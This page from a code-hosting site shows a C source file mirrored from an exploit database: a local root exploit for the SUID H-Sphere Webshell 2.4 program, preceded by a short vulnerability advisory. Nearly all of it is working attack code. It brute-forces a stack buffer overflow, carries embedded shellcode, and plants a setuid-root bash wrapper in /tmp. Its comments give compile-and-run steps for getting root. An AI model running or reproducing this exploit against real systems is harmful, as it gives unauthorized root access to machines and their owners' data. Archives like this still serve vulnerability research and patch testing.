PageRenderTime 50ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/linux/local/22128.c

https://bitbucket.org/DinoRex99/exploit-database
C | 239 lines | 146 code | 30 blank | 63 comment | 14 complexity | 577ebbf06405bfcd538fadf1ae4152d6 MD5 | raw file
Possible License(s): GPL-2.0
  1. source: http://www.securityfocus.com/bid/6527/info
  2. A vulnerability has been discovered in H-Sphere Webshell. During the pre-authentication phase Webshell fails to perform sufficient bounds checking on user-supplied HTTP parameters. As a result, a malicious attacker may be able to trigger a buffer overrun.
  3. Successful exploitation of this issue would allow an attacker to overwrite the vulnerable function's instruction pointer. By causing the program to return to attacker-supplied instructions, it may be possible to execute arbitrary code with the privileges of the target process.
  4. It should be noted that this issue was discovered in H-Sphere 2.3 RC3. It is not yet known whether earlier versions are also vulnerable.
  5. /*
  6. * Local r00t exploit for Webshell 2.4 (possibly other versions).
  7. * Vulnerability found and exploit written by Carl Livitt
  8. * (carl (@) learningshophull.co.uk).
  9. *
  10. Exploits a simple stack-based buffer overflow in CGI.C of the
  11. HSphere webshell component which is installed SUID & GUID root
  12. by default.
  13. Uses a bruteforce method to guess the return address on the stack
  14. and the amount of data to overflow the buffer with; this ensures
  15. it works under many different environments. I originally hardcoded
  16. these values, but found that this was unreliable.
  17. Copy this file (webshell-local.c) to /tmp and then:
  18. cd /tmp
  19. gcc -o webshell-local webshell-local.c
  20. cd /path/to/the/webshell/directory
  21. /tmp/webshell-local
  22. That should get you r00t without any messing about.
  23. */
  24. #include <sys/types.h>
  25. #include <sys/stat.h>
  26. #include <stdio.h>
  27. #include <string.h>
  28. #include <unistd.h>
  29. #include <signal.h>
  30. #define EGG_SIZE_START 257
  31. #define EGG_SIZE_END 291
  32. #define RET_ADDR_START 0xbfffe910
  33. #define RET_ADDR_END 0xbfffffff
  34. #define RET_ADDR_INCREMENT 256
  35. #define CONTENT_LENGTH 42
  36. #define SHELLSCRIPT_FILE "/tmp/zz"
  37. #define EXPLOIT_FILE "/tmp/.webshell.txt"
  38. #define ROOT_SHELL "/tmp/rs"
  39. #define WEBSHELL_PROGRAM "./webshell"
  40. void create_shellscript_file();
  41. void make_shellcode();
  42. void make_exploit_buffer();
  43. void setup_environment();
  44. void make_exploit_file();
  45. char shellcode[] =
  46. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
  47. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  48. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  49. "\x80\xe8\xdc\xff\xff\xff/tmp/zz"; // aleph1 execve() of /bin/sh
  50. char sc[1024];
  51. char egg[1024];
  52. char shell_script[]=
  53. "#!/bin/sh\n"
  54. "cd /tmp\n"
  55. "cat << ROOTSHELL > "ROOT_SHELL".c\n"
  56. "main() { setuid(0);setgid(0);system(\"/bin/bash\");}\n"
  57. "ROOTSHELL\n"
  58. "gcc -o "ROOT_SHELL" "ROOT_SHELL".c\n"
  59. "chown root:root "ROOT_SHELL"*\n"
  60. "chmod 6777 "ROOT_SHELL"\n"
  61. "chmod 0666 "ROOT_SHELL".c\n";
  62. char greeting[]="Webshell 2.4 bruteforce exploit for Linux x86 - by Carl Livitt\n";
  63. int EGG_SIZE=EGG_SIZE_START;
  64. unsigned long RET_ADDR=(unsigned long)RET_ADDR_START;
  65. char *env[4];
  66. /*
  67. * The fun begins here...
  68. */
  69. main(int argc, char **argv) {
  70. int brute_force_mode=1, status, pid;
  71. struct stat s;
  72. /*
  73. * Check to see if the exploit has been run before...
  74. */
  75. if(stat((char *)ROOT_SHELL,&s)==0) {
  76. printf("Root shell already exists... executing...\n");
  77. system(ROOT_SHELL);
  78. exit(0);
  79. }
  80. /*
  81. * Make sure that the webshell binary can be found
  82. * and is SUID root
  83. */
  84. if(stat(WEBSHELL_PROGRAM, &s)!=0) {
  85. printf(WEBSHELL_PROGRAM" not found!\n");
  86. exit(1);
  87. } else if(!(s.st_mode&S_ISUID)) {
  88. printf(WEBSHELL_PROGRAM" is not SUID root!\n");
  89. exit(1);
  90. }
  91. /*
  92. * Start the bruteforce loop...
  93. */
  94. printf("%s\nBruteforcing EGG_SIZE and RET_ADDR..", greeting);
  95. do {
  96. // setup exploit buffers
  97. make_shellcode();
  98. make_exploit_buffer();
  99. setup_environment();
  100. make_exploit_file();
  101. create_shellscript_file();
  102. printf(".");fflush(stdout);
  103. // fork and execute the webshell binary, passing it the
  104. // exploit input.
  105. if((pid=fork())==0) {
  106. system(WEBSHELL_PROGRAM" < "EXPLOIT_FILE" &>/dev/null");
  107. exit(0);
  108. } else {
  109. waitpid(pid, &status, 0);
  110. }
  111. // If ROOT_SHELL exists, then the exploit was successful.
  112. // So execute it!
  113. if(stat((char *)ROOT_SHELL,&s)==0) {
  114. printf("\nEntering r00t shell...\n\n");
  115. system(ROOT_SHELL);
  116. exit(0);
  117. }
  118. // The ROOT_SHELL did not exist, so adjust the bruteforce
  119. // parameters and continue...
  120. EGG_SIZE++;
  121. if(EGG_SIZE>EGG_SIZE_END) {
  122. RET_ADDR+=RET_ADDR_INCREMENT;
  123. if(RET_ADDR>RET_ADDR_END) {
  124. printf("Leaving bruteforce mode...\n");
  125. brute_force_mode=0;
  126. } else {
  127. EGG_SIZE=EGG_SIZE_START;
  128. }
  129. }
  130. } while(brute_force_mode);
  131. printf("Bruteforce exhausted - EXPLOIT FAILED.\n");
  132. }
  133. /*
  134. * Creates the file to be used as stdin for webshell.
  135. */
  136. void make_exploit_file() {
  137. FILE *fp;
  138. if((fp=fopen(EXPLOIT_FILE,"w"))==NULL) {
  139. printf("Could not create exploit file %s\n", EXPLOIT_FILE);
  140. exit(1);
  141. }
  142. fprintf(fp, "--%s\n", egg+CONTENT_LENGTH);
  143. fprintf(fp, "Content-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n");
  144. fclose(fp);
  145. }
  146. /*
  147. * Create the malicious environment in which webshell will run
  148. */
  149. void setup_environment() {
  150. int i;
  151. unsetenv("S");
  152. unsetenv("CONTENT_LENGTH");
  153. unsetenv("REQUEST_METHOD");
  154. unsetenv("CONTENT_TYPE");
  155. env[0]=strdup(egg);
  156. env[1]=strdup(sc);
  157. env[2]=strdup("CONTENT_LENGTH=261");
  158. env[3]=strdup("REQUEST_METHOD=POST");
  159. env[4]=NULL;
  160. for(i=0;i<4;i++)
  161. putenv(env[i]);
  162. }
  163. /*
  164. * It is the 'boundary' section of a multipart/form-data MIME type
  165. * that overflows the buffer in webshell. This function creates the
  166. * malicious boundary.
  167. */
  168. void make_exploit_buffer() {
  169. int i;
  170. memset(egg, 0, EGG_SIZE-1);
  171. memcpy(egg, "CONTENT_TYPE=multipart/form-data boundary=", CONTENT_LENGTH);
  172. for(i=0;i<EGG_SIZE; i+=4) {
  173. egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
  174. egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
  175. egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
  176. egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
  177. }
  178. egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
  179. }
  180. /*
  181. * Makes a 1024-byte buffer filled with NOPs and shellcode
  182. */
  183. void make_shellcode() {
  184. memset(sc, 0x90,1024);
  185. sc[0]='S';
  186. sc[1]='=';
  187. memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
  188. sc[1023]='\0';
  189. }
  190. /*
  191. * Generate the shellscript that will be executed by the shellcode.
  192. * By default, it will create a SUID root shell in /tmp
  193. */
  194. void create_shellscript_file() {
  195. FILE *fp;
  196. if((fp=fopen(SHELLSCRIPT_FILE,"w"))==NULL) {
  197. printf("Could not create %s\n", SHELLSCRIPT_FILE);
  198. exit(1);
  199. }
  200. fprintf(fp, "%s", shell_script);
  201. fclose(fp);
  202. chmod(SHELLSCRIPT_FILE, S_IXOTH | S_IROTH | S_IWOTH | S_IXUSR | S_IRUSR | S_IWUSR);
  203. }